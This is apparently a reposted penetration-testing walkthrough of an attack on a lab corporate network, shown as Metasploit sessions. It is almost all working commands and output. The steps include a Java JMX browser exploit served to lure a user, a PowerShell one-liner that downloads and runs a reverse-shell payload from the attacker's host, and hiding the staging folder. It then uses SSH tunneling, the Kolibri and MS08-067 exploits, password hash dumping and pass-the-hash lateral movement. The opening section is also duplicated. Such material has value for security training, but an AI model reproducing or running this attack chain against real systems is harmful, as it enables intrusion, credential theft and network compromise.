At this point there are a couple of things we could do. In metasploit we could run "search exploit/windows/local" and run one of the local privilege escalation exploits through our existing session or we could directly exploit MS08_067 since we already have a route to the network. We will be doing something a bit more complicated though to demonstrate the power of ssh tunneling. We will tunnel out port 445 on the remote host all the way back to our attacker and then launch MS08_067 on our local box through the tunnel to V2 and get a shell back. This example is a bit contrived but there are cases where ssh tunneling will save you skin. Since V1 can route connections to our attacker and to V2 we will be using V1 as the bridge for our tunnel.

# First start your ssh server on BackTrack.

root@bt:~# /etc/init.d/ssh start
Rather than invoking init scripts through /etc/init.d, use the service(8)
utility, e.g. service ssh start

Since the script you are attempting to invoke has been converted to an
Upstart job, you may also use the start(8) utility, e.g. start ssh
ssh start/running, process 4985

# Drop back into a shell on V1 and start the tunnel. It will look like you drop out of metasploit back
# into a terminal but thats normal since you opening a ssh shell.
#
# Tunnel Syntax: plink -l username -pw "password" -R attacker_port:victim_ip:victim_port attacker_ip

C:\Users\b33f\Desktop\EvilHacker>plink -l root -pw "s3cr3tpa$$word" -R 445:192.168.17.134:445 192.168.44.137
plink -l root -pw "s3cr3tpa$$word" -R 445:192.168.17.134:445 192.168.44.137

Linux bt 3.2.6 #1 SMP Fri Feb 17 10:40:05 EST 2012 i686 GNU/Linux

  System information as of Sat Jan 19 19:56:44 GMT 2013

  System load:  0.01               Processes:           130
  Usage of /:   28.6% of 47.82GB   Users logged in:     1
  Memory usage: 16%                IP address for eth0: 192.168.44.137
  Swap usage:   0%

  Graph this data and manage this system at https://landscape.canonical.com/
Last login: Sat Jan 19 19:25:22 2013 from 192.168.44.1

root@bt:~# netstat -antp |grep 445
netstat -antp |grep 445
tcp        0      0 127.0.0.1:445           0.0.0.0:*               LISTEN      3486/2          
tcp6       0      0 ::1:445                 :::*                    LISTEN      3486/2

# 打开一个新的msfconsole
msf  exploit(ms08_067_netapi) > use scanner/smb/smb_version

msf  auxiliary(smb_version) > show options

Module options (auxiliary/scanner/smb/smb_version):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   RHOSTS                      yes       The target address range or CIDR identifier
   SMBDomain  WORKGROUP        no        The Windows domain to use for authentication
   SMBPass                     no        The password for the specified username
   SMBUser                     no        The username to authenticate as
   THREADS    1                yes       The number of concurrent threads

msf  auxiliary(smb_version) > set rhosts 127.0.0.1
rhosts => 127.0.0.1

msf  auxiliary(smb_version) > exploit

[*] 127.0.0.1:445 is running Windows XP Service Pack 0 / 1 (language: English) (name:B33F-URLVV9CUV5)
                                                                               (domain:WORKGROUP)
[-] 127.0.0.1: ActiveRecord::RecordInvalid Validation failed: Address is reserved
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

msf > search ms08_067

Matching Modules
================

   Name                                 Disclosure Date          Rank   Description
   ----                                 ---------------          ----   -----------
   exploit/windows/smb/ms08_067_netapi  2008-10-28 00:00:00 UTC  great  Microsoft Server Service Relative
                                                                        Path Stack Corruption



msf > use exploit/windows/smb/ms08_067_netapi

msf  exploit(ms08_067_netapi) > show options

Module options (exploit/windows/smb/ms08_067_netapi):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOST    127.0.0.1        yes       The target address
   RPORT    445              yes       Set the SMB service port
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)


Payload options (windows/meterpreter/bind_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique: seh, thread, process, none
   LPORT     4444             yes       The listen port
   RHOST     127.0.0.1        no        The target address


Exploit target:

   Id  Name
   --  ----
   2   Windows XP SP0/SP1 Universal


msf  exploit(ms08_067_netapi) > exploit

[*] Started bind handler
[*] Attempting to trigger the vulnerability...

root@bt:~# exit
exit
logout
Using username "root".

C:\Users\b33f\Desktop>^Z
Background channel 1? [y/N]  y

meterpreter > 
Background session 4? [y/N]


V1 Client Side Foothold
Like I said before sophisticated attackers have had great success at using client side attacks to gain entry to the corporate network. Exploits such as the recent Java JMX bug offer such powerful weapons to the attacker with remote code execution across multiple browsers and operating systems. A regular user may easily be tricked into browsing to a malicious link if he/she thinks the sender is trusted or is properly motivated. Time to launch our attack on the corporate network. First we will serve up the Java JMX exploit on our attackers box and then we will try to entice a poor employee to visit our malicious website.

msf > search JMX

Matching Modules
================

   Name                                      Disclosure Date  Rank       Description
   ----                                      ---------------  ----       -----------
   exploit/multi/browser/java_jre17_jmxbean  2013-01-10       excellent  Java Applet JMX Remote Code
                                                                         Execution
   exploit/multi/http/jboss_bshdeployer      2010-04-26       excellent  JBoss JMX Console Beanshell
                                                                         Deployer WAR Upload and
                                                                         Deployment
   exploit/multi/http/jboss_invoke_deploy    2007-02-20       excellent  JBoss DeploymentFileRepository
                                                                         WAR Deployment (via
                                                                         JMXInvokerServlet)
   exploit/multi/http/jboss_maindeployer     2007-02-20       excellent  JBoss JMX Console Deployer
                                                                         Upload and Execute
   exploit/multi/misc/java_rmi_server        2011-10-15       excellent  Java RMI Server Insecure
                                                                         Default Configuration Java
                                                                         Code Execution


msf  exploit(java_jre17_jmxbean) > show options

Module options (exploit/multi/browser/java_jre17_jmxbean):

   Name        Current Setting  Required  Description
   ----        ---------------  --------  -----------
   SRVHOST     0.0.0.0          yes       The local host to listen on. This must be an address on the
                                          local machine or 0.0.0.0
   SRVPORT     8080             yes       The local port to listen on.
   SSL         false            no        Negotiate SSL for incoming connections
   SSLCert                      no        Path to a custom SSL certificate (default is randomly generated)
   SSLVersion  SSL3             no        Specify the version of SSL that should be used (accepted:
                                          SSL2, SSL3, TLS1)
   URIPATH     /JavaEveryday    no        The URI to use for this exploit (default is random)


Payload options (java/meterpreter/reverse_http):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.44.137   yes       The local listener hostname
   LPORT  8080             yes       The local listener port


Exploit target:

   Id  Name
   --  ----
   0   Generic (Java Payload)

msf  exploit(java_jre17_jmxbean) > exploit
[*] Exploit running as background job.
[*] Started HTTP reverse handler on http://192.168.44.137:8080/
[*] Using URL: http://0.0.0.0:8080/JavaEveryday
[*]  Local IP: http://192.168.44.137:8080/JavaEveryday
[*] Server started.



All we need to do now is trick the unsuspecting user (V1) into browsing to our website.






Obviously this crude attempt won't get us very far but you get the idea right. A motivated attacker can obfuscate the link and craft a mail that looks like it comes from a trusted source or supply a seemingly compelling reason to visit the website. This will be the starting point for our infrastructure scenario.

msf  exploit(java_jre17_jmxbean) > exploit

[*] Exploit running as background job.
[*] Started HTTP reverse handler on http://192.168.44.137:8080/
[*] Using URL: http://0.0.0.0:8080/JavaEveryday
[*]  Local IP: http://192.168.44.137:8080/JavaEveryday
[*] Server started.
[*] 192.168.44.1     java_jre17_jmxbean - handling request for /JavaEveryday/
[*] 192.168.44.1:58312 Request received for /favicon.ico...
[*] 192.168.44.1:58312 Unknown request to /favicon.ico GET /favicon.ico HTTP/1.1

Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Host: 192.168.44.137:8080
Connection: Keep-Alive
Content-Length: 0
...

[*] 192.168.44.1     java_jre17_jmxbean - handling request for /JavaEveryday/eHRimLIo.jar
[*] 192.168.44.1     java_jre17_jmxbean - handling request for /JavaEveryday/eHRimLIo.jar
[*] 192.168.44.1:58314 Request received for /INITJM...
[*] Meterpreter session 1 opened (192.168.44.137:8080 -> 192.168.44.1:58314) at 2013-01-18 20:50:07 +0000

msf  exploit(java_jre17_jmxbean) > sessions -l

Active sessions
===============

  Id  Type                   Information     Connection
  --  ----                   -----------     ----------
  1   meterpreter java/java  b33f @ Trident  192.168.17.133:8080 -> 192.168.17.1:53650 (192.168.17.1)

msf  exploit(java_jre17_jmxbean) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer    : Trident
OS          : Windows 7 6.1 (x86)
Meterpreter : java/java

meterpreter > getuid
Server username: b33f

meterpreter > shell
Process 1 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Users\b33f\Desktop>ipconfig
ipconfig

Windows IP Configuration

Ethernet adapter VMware Network Adapter VMnet10:

   Connection-specific DNS Suffix  . : 
   Link-local IPv6 Address . . . . . : fe80::15ce:3f81:aaf6:3173%16
   IPv4 Address. . . . . . . . . . . : 192.168.17.1
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 

Ethernet adapter VMware Network Adapter VMnet8:

   Connection-specific DNS Suffix  . : 
   Link-local IPv6 Address . . . . . : fe80::a504:dea1:5746:e518%17
   IPv4 Address. . . . . . . . . . . : 192.168.44.1
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 



As we can see from the meterpreter session our host is dual-homed and will likely give us access to additional non routable hosts on the corporate network. First however we are going to replace our existing java_meterpreter with a proper meterpreter. As some of you will know the java_meterpreter doesn't contain all the available functionality. It also gives me the opportunity to showcase to cool tricks: (1) Inline poweshell code execution and (2) metasploit session upgrading. First we will set up a web server to host our shell and then we will use powershell to download and execute our payload.

root@bt:~/Desktop# /etc/init.d/apache2 start
 * Starting web server apache2  [ OK ] 

root@bt:~# netstat -atnp |grep apache2
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name 
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      1467/apache2

root@bt:~# msfpayload windows/shell/reverse_tcp lport=9988 lhost=192.168.44.137 X > /var/www/funz.exe
Created by msfpayload (http://www.metasploit.com).
Payload: windows/shell/reverse_tcp
Length: 290
Options: {"lport"=>"9988", "lhost"=>"192.168.44.137"}

root@bt:~# locate plink.exe
/pentest/windows-binaries/tools/plink.exe

root@bt:~# cp /pentest/windows-binaries/tools/plink.exe /var/www/

root@bt:~/Desktop# ls -la /var/www/
total 2100
drwxr-xr-x  3 root root    4096 2013-01-18 01:28 .
drwxr-xr-x 16 root root    4096 2011-06-08 14:51 ..
-rw-r--r--  1 root root   73802 2013-01-18 01:27 funz.exe
-rw-r--r--  1 root root     177 2011-05-10 17:01 index.html
-rwxrw-rw-  1 root root 1667584 2011-06-30 14:52 ncat.exe
-rwxrw-rw-  1 root root  381816 2010-04-27 12:04 PsExec.exe
drwxr-xr-x  2 root root    4096 2011-05-10 17:01 wstool 



In addition to our payload we will also be uploading plink.exe which is a command line version of Putty which will allow us to create shh tunnels in and out of the corporate network should we need them.

# First we will background our meterpreter session (Ctrl+Z) till we drop back into msfconsole and set up a
# listener for our payload.

msf  exploit(java_jre17_jmxbean) > use multi/handler

msf  exploit(handler) > set payload windows/shell/reverse_tcp
payload => windows/shell/reverse_tcp

msf  exploit(handler) > set lport 9988
lport => 9988

msf  exploit(handler) > set lhost 192.168.44.137
lhost => 192.168.44.137

msf  exploit(handler) > exploit -j
[*] Exploit running as background job.
[*] Started reverse handler on 192.168.44.137:9988 
[*] Starting the payload handler...

# Ok now lets log back into our original meterpreter sessions and use powershell to download our files
# and execute our payload.

msf  exploit(handler) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > shell
Process 1 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Users\b33f\Desktop>md EvilHacker
md EvilHacker

# This will make the folder hidden and won't even show up if "Show Hidden Files and Folders" option is
# enabled.

C:\Users\b33f\Desktop>attrib +s +h "C:\Users\b33f\Desktop\EvilHacker"
attrib +s +h "C:\Users\b33f\Desktop\EvilHacker"

C:\Users\b33f\Desktop>cd EvilHacker
cd EvilHacker

# This is all in one line

C:\Users\b33f\Desktop\EvilHacker>cmd /c "PowerShell (New-Object System.Net.WebClient).DownloadFile
('http://192.168.44.137/funz.exe','funz.exe');(New-Object System.Net.WebClient).DownloadFile
('http://192.168.44.137/plink.exe','plink.exe');Start-Process 'funz.exe'"

# We immediately get notified of the incoming shell by our handler.

[*] Encoded stage with x86/shikata_ga_nai
[*] Sending encoded stage (267 bytes) to 192.168.44.1

C:\Users\b33f\Desktop\EvilHacker>^Z
Background channel 1? [y/N]  y

meterpreter > 
Background session 1? [y/N]  y

msf  exploit(handler) > sessions

Active sessions
===============

Id  Type                   Information     Connection
--  ----                   -----------     ----------
1   meterpreter java/java  b33f @ Trident  192.168.44.137:8080 -> 192.168.44.1:58314 (192.168.44.1)
2   shell windows                          192.168.44.137:9988 -> 192.168.44.1:58736 (192.168.44.1)

# We can use the "sessions -u" option to upgrade our shell to a proper meterpreter session.

msf  exploit(handler) > sessions -u 2

[*] Started reverse handler on 192.168.44.137:9988 
[*] Starting the payload handler...
[*] Command Stager progress - 1.66% done (1699/102108 bytes)
[*] Command Stager progress - 3.33% done (3398/102108 bytes)
[*] Command Stager progress - 4.99% done (5097/102108 bytes)
[*] Command Stager progress - 6.66% done (6796/102108 bytes)
[...Snip...]
[*] Command Stager progress - 96.51% done (98542/102108 bytes)
[*] Command Stager progress - 98.15% done (100216/102108 bytes)
[*] Command Stager progress - 99.78% done (101888/102108 bytes)
[*] Command Stager progress - 100.00% done (102108/102108 bytes)

msf  exploit(handler) > sessions

Active sessions
===============

Id  Type                   Information            Connection
--  ----                   -----------            ----------
1   meterpreter java/java  b33f @ Trident         192.168.44.137:8080 -> 192.168.44.1:58314 (192.168.44.1)
2   shell windows                                 192.168.44.137:9988 -> 192.168.44.1:58736 (192.168.44.1)
3   meterpreter x86/win32  Trident\b33f @ TRIDENT 192.168.44.137:9988 -> 192.168.44.1:58770 (192.168.44.1)

# Lets kill off the sessions we don't need anymore.

msf  exploit(handler) > sessions -k 1
[*] Killing session 1
[*] 192.168.44.1 - Meterpreter session 1 closed.

msf  exploit(handler) > sessions -k 2
[*] Killing session 2
[*] 192.168.44.1 - Command shell session 2 closed.



As a final step in setting up our forward base of attack we will scan the internal non routable network for live hosts and add a route to that network in metasploit so we can pivot our attacks.

meterpreter > run arp_scanner -r 192.168.17.1/24
[*] ARP Scanning 192.168.17.1/24
[*] IP: 192.168.17.1 MAC 00:50:56:c0:00:01
[*] IP: 192.168.17.134 MAC 00:0c:29:33:39:21
[*] IP: 192.168.17.132 MAC 00:0c:29:71:74:f7

msf  exploit(handler) > route add 192.168.17.1 255.255.255.0 3
[*] Route added

msf  exploit(handler) > route print

Active Routing Table
====================

   Subnet             Netmask            Gateway
   ------             -------            -------
   192.168.17.1       255.255.255.0      Session 3






V2 Legacy Web Server

As I mentioned before the corporate network perimeter is generally well protected. That same diligence is (generally) not applied to the internal network for a variety of reasons. Upgrading OS'es costs allot of money, patching may cause downtime no one is willing to sign off on and generally people consider the internal network to be a safe place. Enter our (unrealistic) XP SP1 legacy HTTP server running a vulnerable version of Kolibri. Since we added a route to the corporate network in msf we can now forward our traffic through V1 to the non routable hosts.



msf  exploit(handler) > nmap -sS -T5 -v 192.168.17.134
[*] exec: nmap -sS -T5 -v 192.168.17.134

Starting Nmap 5.51SVN ( http://nmap.org ) at 2013-01-18 21:25 GMT
Initiating Ping Scan at 21:25
Scanning 192.168.17.134 [3 ports]
Completed Ping Scan at 21:25, 0.01s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 21:25
Completed Parallel DNS resolution of 1 host. at 21:25, 0.03s elapsed
Initiating SYN Stealth Scan at 21:25
Scanning 192.168.17.134 [1000 ports]
Discovered open port 135/tcp on 192.168.17.134
Discovered open port 8080/tcp on 192.168.17.134
Discovered open port 1025/tcp on 192.168.17.134
Discovered open port 139/tcp on 192.168.17.134
Discovered open port 445/tcp on 192.168.17.134
Discovered open port 5000/tcp on 192.168.17.134
Completed SYN Stealth Scan at 21:25, 3.28s elapsed (1000 total ports)
Nmap scan report for 192.168.17.134
Host is up (1.0s latency).

PORT     STATE SERVICE
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
1025/tcp open  NFS-or-IIS
5000/tcp open  upnp
8080/tcp open  http-proxy
MAC Address: 00:0C:29:33:39:21 (VMware)

Read data files from: /opt/framework/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 3.53 seconds
           Raw packets sent: 1527 (67.164KB) | Rcvd: 543 (21.744KB)



A bit of service enumeration will reveal that the http-proxy is actually Kolibri HTTP Server. You could tunnel out the port and browse to the site or look at the raw dump when enumerating with amap but I leave that up to the diligent reader to play with. There is already an exploit present for Kolibri in metasploit but it only supports XP SP3. It literally took me five minutes start to finish to launch a debugger on a test system, look for the appropriate addresses on SP1 and modify the exploit in metasploit accordingly.

msf  exploit(handler) > use exploit/windows/http/kolibri_http

msf  exploit(kolibri_http) > set rhost 192.168.17.134
rhost => 192.168.17.134

msf  exploit(kolibri_http) > set rport 8080
rport => 8080

# Take care to set a bind payload as the host has no way to route back to our attacker.

msf  exploit(kolibri_http) > set payload windows/meterpreter/bind_tcp
payload => windows/meterpreter/bind_tcp

msf  exploit(kolibri_http) > show options

Module options (exploit/windows/http/kolibri_http):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   Proxies                   no        Use a proxy chain
   RHOST    192.168.17.134   yes       The target address
   RPORT    8080             yes       The target port
   VHOST                     no        HTTP server virtual host


Payload options (windows/meterpreter/bind_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique: seh, thread, process, none
   LPORT     4444             yes       The listen port
   RHOST     192.168.17.134   no        The target address


Exploit target:

   Id  Name
   --  ----
   0   Windows XP sp3

msf  exploit(kolibri_http) > exploit

msf  exploit(handler) > sessions

Active sessions
===============

Id  Type                   Information                             Connection
--  ----                   -----------                             ----------
3   meterpreter x86/win32  Trident\b33f @ TRIDENT                  192.168.44.137:9988 
                                                                   -> 192.168.44.1:58770 (192.168.44.1)
4   meterpreter x86/win32  B33F-URLVV9CUV5\user1 @ B33F-URLVV9CUV5 192.168.44.137-192.168.44.1:0 
                                                                   -> 192.168.17.134:4444 (192.168.17.134)

msf  exploit(handler) > sessions -i 4
[*] Starting interaction with 4...

meterpreter > getuid
Server username: B33F-URLVV9CUV5\user1

meterpreter > sysinfo
Computer        : B33F-URLVV9CUV5
OS              : Windows XP (Build 2600, Service Pack 1).
Architecture    : x86
System Language : en_US
Meterpreter     : x86/win32

# Seems like user1 is a low privilege user and won't be able to give us SYSTEM level access to the box

meterpreter > hashdump
[-] priv_passwd_get_sam_hashes: Operation failed: The parameter is incorrect.

meterpreter > getsystem
[-] priv_elevate_getsystem: Operation failed: Access is denied.



At this point there are a couple of things we could do. In metasploit we could run "search exploit/windows/local" and run one of the local privilege escalation exploits through our existing session or we could directly exploit MS08_067 since we already have a route to the network. We will be doing something a bit more complicated though to demonstrate the power of ssh tunneling. We will tunnel out port 445 on the remote host all the way back to our attacker and then launch MS08_067 on our local box through the tunnel to V2 and get a shell back. This example is a bit contrived but there are cases where ssh tunneling will save you skin. Since V1 can route connections to our attacker and to V2 we will be using V1 as the bridge for our tunnel.

# First start your ssh server on BackTrack.

root@bt:~# /etc/init.d/ssh start
Rather than invoking init scripts through /etc/init.d, use the service(8)
utility, e.g. service ssh start

Since the script you are attempting to invoke has been converted to an
Upstart job, you may also use the start(8) utility, e.g. start ssh
ssh start/running, process 4985

# Drop back into a shell on V1 and start the tunnel. It will look like you drop out of metasploit back
# into a terminal but thats normal since you opening a ssh shell.
#
# Tunnel Syntax: plink -l username -pw "password" -R attacker_port:victim_ip:victim_port attacker_ip

C:\Users\b33f\Desktop\EvilHacker>plink -l root -pw "s3cr3tpa$$word" -R 445:192.168.17.134:445 192.168.44.137
plink -l root -pw "s3cr3tpa$$word" -R 445:192.168.17.134:445 192.168.44.137

Linux bt 3.2.6 #1 SMP Fri Feb 17 10:40:05 EST 2012 i686 GNU/Linux

  System information as of Sat Jan 19 19:56:44 GMT 2013

  System load:  0.01               Processes:           130
  Usage of /:   28.6% of 47.82GB   Users logged in:     1
  Memory usage: 16%                IP address for eth0: 192.168.44.137
  Swap usage:   0%

  Graph this data and manage this system at https://landscape.canonical.com/
Last login: Sat Jan 19 19:25:22 2013 from 192.168.44.1

root@bt:~# netstat -antp |grep 445
netstat -antp |grep 445
tcp        0      0 127.0.0.1:445           0.0.0.0:*               LISTEN      3486/2          
tcp6       0      0 ::1:445                 :::*                    LISTEN      3486/2

# In a new terminal open up msfconsole. First we will identify the opperating system to verify the tunnel
# works (could also be done with nmap script scan or enum4linux) and then we will launch a meterpreter
# bind payload through the tunnel.

msf  exploit(ms08_067_netapi) > use scanner/smb/smb_version

msf  auxiliary(smb_version) > show options

Module options (auxiliary/scanner/smb/smb_version):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   RHOSTS                      yes       The target address range or CIDR identifier
   SMBDomain  WORKGROUP        no        The Windows domain to use for authentication
   SMBPass                     no        The password for the specified username
   SMBUser                     no        The username to authenticate as
   THREADS    1                yes       The number of concurrent threads

msf  auxiliary(smb_version) > set rhosts 127.0.0.1
rhosts => 127.0.0.1

msf  auxiliary(smb_version) > exploit

[*] 127.0.0.1:445 is running Windows XP Service Pack 0 / 1 (language: English) (name:B33F-URLVV9CUV5)
                                                                               (domain:WORKGROUP)
[-] 127.0.0.1: ActiveRecord::RecordInvalid Validation failed: Address is reserved
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

msf > search ms08_067

Matching Modules
================

   Name                                 Disclosure Date          Rank   Description
   ----                                 ---------------          ----   -----------
   exploit/windows/smb/ms08_067_netapi  2008-10-28 00:00:00 UTC  great  Microsoft Server Service Relative
                                                                        Path Stack Corruption
# Take care to set rhost to 127.0.0.1.

msf > use exploit/windows/smb/ms08_067_netapi

msf  exploit(ms08_067_netapi) > show options

Module options (exploit/windows/smb/ms08_067_netapi):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOST    127.0.0.1        yes       The target address
   RPORT    445              yes       Set the SMB service port
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)


Payload options (windows/meterpreter/bind_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique: seh, thread, process, none
   LPORT     4444             yes       The listen port
   RHOST     127.0.0.1        no        The target address


Exploit target:

   Id  Name
   --  ----
   2   Windows XP SP0/SP1 Universal


msf  exploit(ms08_067_netapi) > exploit

[*] Started bind handler
[*] Attempting to trigger the vulnerability...

# We won't get as shell as we are launching the attack on our localhost but lets go back to our tunnel, 
# close it and background till we are back in msfconsole.

root@bt:~# exit
exit
logout
Using username "root".

C:\Users\b33f\Desktop>^Z
Background channel 1? [y/N]  y

meterpreter > 
Background session 4? [y/N]

# Set up a handler for the meterpreter bind shell 

msf  exploit(handler) > show options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (windows/meterpreter/bind_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique: seh, thread, process, none
   LPORT     4444             yes       The listen port
   RHOST     192.168.17.134   no        The target address


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target


msf  exploit(handler) > exploit

[*] Started bind handler
[*] Starting the payload handler...
[*] Sending stage (752128 bytes) to 192.168.17.134

meterpreter > 
Background session 5? [y/N]  

# 现在拿到了V2权限                                                                        
sf  exploit(handler) > sessions

Active sessions
===============

Id  Type                   Information                             Connection
--  ----                   -----------                             ----------
3   meterpreter x86/win32  Trident\b33f @ TRIDENT                  192.168.44.137:9988 
                                                                   -> 192.168.44.1:58770 (192.168.44.1)
4   meterpreter x86/win32  B33F-URLVV9CUV5\user1 @ B33F-URLVV9CUV5 192.168.44.137-192.168.44.1:0 
                                                                   -> 192.168.17.134:4444 (192.168.17.134)
5   meterpreter x86/win32  NT AUTHORITY\SYSTEM @ B33F-URLVV9CUV5   192.168.44.137:46585 
                                                                   -> 192.168.17.134:4444 (192.168.17.134)

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HelpAssistant:1000:17e6ed3ae4ea6164cf94ce448039c13b:1834e6a12f358bd93bfdd45b5395eea1:::
Owner:1003:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:69be3606bb00c489551eb44859048a8c:::
user1:1004:e52cac67419a9a2238f10713b629b565:5835048ce94ad0564e29a924a03510ef:::

V3 server

pass the hash

msf  exploit(psexec) > show options

Module options (exploit/windows/smb/psexec):

   Name       Current Setting           Required  Description
   ----       ---------------           --------  -----------
   RHOST      192.168.17.132            yes       The target address
   RPORT      445                       yes       Set the SMB service port
   SHARE      ADMIN$                    yes       The share to connect to, can be an admin share (ADMIN$,
                                                  C$,...) or a normal read/write folder share
   SMBDomain  WORKGROUP                 no        The Windows domain to use for authentication
   SMBPass    aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
                                        no        The password for the specified username
   SMBUser    Administrator             no        The username to authenticate as


Payload options (windows/meterpreter/bind_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique: seh, thread, process, none
   LPORT     5566             yes       The listen port
   RHOST     192.168.17.132   no        The target address


Exploit target:

   Id  Name
   --  ----
   0   Automatic

msf  exploit(psexec) > exploit

[*] Connecting to the server...
[*] Started bind handler
[*] Authenticating to 192.168.17.132:445|WORKGROUP as user 'Administrator'...
[*] Uploading payload...
[*] Created \OkddXwLq.exe...
[*] Binding to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.17.132[\svcctl] ...
[*] Bound to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.17.132[\svcctl] ...
[*] Obtaining a service manager handle...
[*] Creating a new service (HRyeauAf - "MRhLxJcCrdBvQlOSnQSjdnYROxRe")...
[*] Closing service handle...
[*] Opening service...
[*] Starting the service...
[*] Removing the service...
[*] Closing service handle...
[*] Sending stage (752128 bytes)
[*] Deleting \OkddXwLq.exe...
[*] Meterpreter session 6 opened (192.168.44.137-192.168.44.1:0 -> 192.168.17.132:5566) 
    at 2013-01-19 21:22:04 +0000

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

meterpreter > 
Background session 6? [y/N]  

msf  exploit(psexec) > sessions
Active sessions
===============

  Id  Type                   Information                              Connection
  --  ----                   -----------                              ----------
  3   meterpreter x86/win32  Trident\b33f @ TRIDENT                   192.168.44.137:9988 
                                                                      -> 192.168.44.1:58770 (192.168.44.1)
  4   meterpreter x86/win32  B33F-URLVV9CUV5\user1 @ B33F-URLVV9CUV5  192.168.44.137-192.168.44.1:0 
                                                                      -> 192.168.17.134:4444 (192.168.17.134)
  5   meterpreter x86/win32  NT AUTHORITY\SYSTEM @ B33F-URLVV9CUV5    192.168.44.137:46585 
                                                                      -> 192.168.17.134:4444 (192.168.17.134)
  6   meterpreter x86/win32  NT AUTHORITY\SYSTEM @ B33F-E95CE571A1    192.168.44.137-192.168.44.1:0 
                                                                      -> 192.168.17.132:5566 (192.168.17.132)

msf  exploit(psexec) > ...Game Over...

原文链接


   转载规则


《基于实际场景的架构攻击 》 Wing 采用 知识共享署名 4.0 国际许可协议 进行许可。
 上一篇
Red Team Techniques-通过钓鱼攻击获得访问权限 Red Team Techniques-通过钓鱼攻击获得访问权限
Red Team Techniques-通过钓鱼攻击获得访问权限关于红队如何制作网络钓鱼攻击的帖子很多,但是大多数不是很完整。我下面会讲我们最近的一次攻击案例,从0到获得权限,包括域名的创建,制作钓鱼攻击的手段,绕过垃圾邮件过滤器,和电子
2019-02-28 Wing
下一篇 
渗透测试靶场(二) 渗透测试靶场(二)
Go on。 0x00 前言先介绍一下域信任的基本原理,然后第二部分实际操作一下信息的枚举。 0x01 域信任的过程建立域之间的信任关系在域环境中,建立信任的两个域之间可以互相访问资源,当然,其中需要做一些权限上的设置。 信任方向(单向或
2019-02-28 Wing
  目录